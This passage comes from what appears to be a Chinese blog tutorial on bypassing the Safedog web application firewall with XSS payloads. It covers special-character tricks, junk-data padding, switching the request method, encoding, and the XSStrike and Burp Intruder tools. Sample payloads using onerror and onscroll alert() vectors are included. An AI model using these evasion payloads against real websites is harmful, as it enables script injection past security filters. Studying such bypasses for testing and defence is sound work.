这里所谓的特殊符号干扰,意思就是利用html标签语言的特性,通过其语法规则进行绕过,例如,一般见到/ html就很可能会识别其为标签的结束符号:<a> </a>
这里的/a 就组成了标签的结束符。
例如:
<img src ?itworksonchrome?\/onerror = alert(1170)>
成功,绕过了!!!
3、垃圾数据溢出:
通过填充大量的一些无关的数据,以此来达到逃逸的效果!
<body onscroll=alert(145)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><x id=x>#x
4、更改提交方式:
假设我们的第一关是以request方式进行提交的。那么,如果安全狗进行检测时只读取对应的请求方式的内容的话,就可以很好的绕过了!!!
比如,这里我们采用request进行获取参数名,那么如果我们利用post进行上传变量的话,很可能之类是不会检测post包的!
5、编码/加密:
我们将所要写入的语句进行编码,或者加密已达到混淆的程度。以此,让狗子无法辨别我们传入的参数是什么,这样子就可以达到绕过了。不过有一点的是你需要能够解密!!!
然后,我们执行,就可以看到页面有如下的内容:
然后,让我们查看以下页面源代码:
这里已经写入了!!
然后,要怎么样触发呢? 这里我利用hackbar,进行页面的解码:(解码时候不要选中内容,因为不选中的话默认是自动将页面全部内容进行解码的,从而就可以达到执行的效果)
这里的执行,还是利用起了hackbar的!!!
6、工具跑:
XSStrike
XSStrike python3 写的一个脚本:
这里绿色的都是可以进行写入的!
burpsuite:
这一个要结合利用字典进行跑:
将数据包发到intruder模块,并添加上标记:
然后,加载字典:
进行攻击即可:
总结
虽然大致上走了一遍安全狗的waf绕过,但是我感觉还有很多的不足之处,对于绕过WAF的原理可能还不明白,因此还需继续加油!!